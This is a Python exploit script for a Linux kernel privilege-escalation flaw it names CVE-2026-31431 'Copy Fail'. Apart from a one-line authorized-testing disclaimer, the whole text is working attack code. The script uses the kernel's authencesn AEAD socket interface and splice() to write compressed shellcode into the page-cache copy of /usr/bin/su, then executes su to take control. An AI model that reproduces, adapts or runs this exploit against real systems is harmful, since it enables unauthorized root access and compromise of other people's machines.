1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144
| """ CVE-2026-31431 "Copy Fail" Exploit Python 3.9+ compatible (includes splice() syscall wrapper)
This exploit targets a Linux kernel vulnerability in the authencesn AEAD cryptographic implementation that allows arbitrary writes to the page cache.
For authorized security testing only. """ import os import zlib import socket import ctypes import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64): pass
libc.splice.argtypes = [ ctypes.c_int, ctypes.POINTER(off64_t), ctypes.c_int, ctypes.POINTER(off64_t), ctypes.c_size_t, ctypes.c_uint ] libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None): """ Wrapper for splice() syscall matching Python os.splice() API Compatible with Python 3.9+ (which lacks os.splice())
Args: src: Source file descriptor dst: Destination file descriptor count: Number of bytes to splice offset_src: Offset in source (None = current position) offset_dst: Offset in destination (None = current position) """ p_off_src = ctypes.pointer(off64_t(offset_src)) if offset_src is not None else None p_off_dst = ctypes.pointer(off64_t(offset_dst)) if offset_dst is not None else None result = libc.splice(src, p_off_src, dst, p_off_dst, count, 0) if result < 0: raise OSError(f"splice() failed with return code {result}") return result
def d(x): """Decode hex string""" return bytes.fromhex(x)
def c(f, t, payload): """ Core exploitation function f: target file descriptor t: offset in target file payload: 4 bytes to write at offset """ a = socket.socket(38, 5, 0) a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) h = 279 v = a.setsockopt v(h, 1, d('0800010000000010' + '0'*64)) v(h, 5, None, 4) u, _ = a.accept() o = t + 4 i = d('00') u.sendmsg( [b"A"*4 + payload], [ (h, 3, i*4), (h, 2, b'\x10' + i*19), (h, 4, b'\x08' + i*3), ], 32768 ) r, w = os.pipe() splice(f, w, o, offset_src=0) splice(r, u.fileno(), o) try: u.recv(8 + t) except: pass u.close() a.close()
print("[*] CVE-2026-31431 Copy Fail Exploit") print("[*] Target: /usr/bin/su") print()
f = os.open("/usr/bin/su", os.O_RDONLY) print(f"[+] Opened /usr/bin/su (fd={f})")
i = 0 e = zlib.decompress(d( "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" ))
print(f"[+] Shellcode size: {len(e)} bytes") print("[+] Patching /usr/bin/su in page cache...")
while i < len(e): c(f, i, e[i:i+4]) i += 4 if i % 16 == 0: print(f" Written {i}/{len(e)} bytes...")
print("[+] Page cache patching complete!") print("[+] Executing modified su...") print()
os.system("su")
|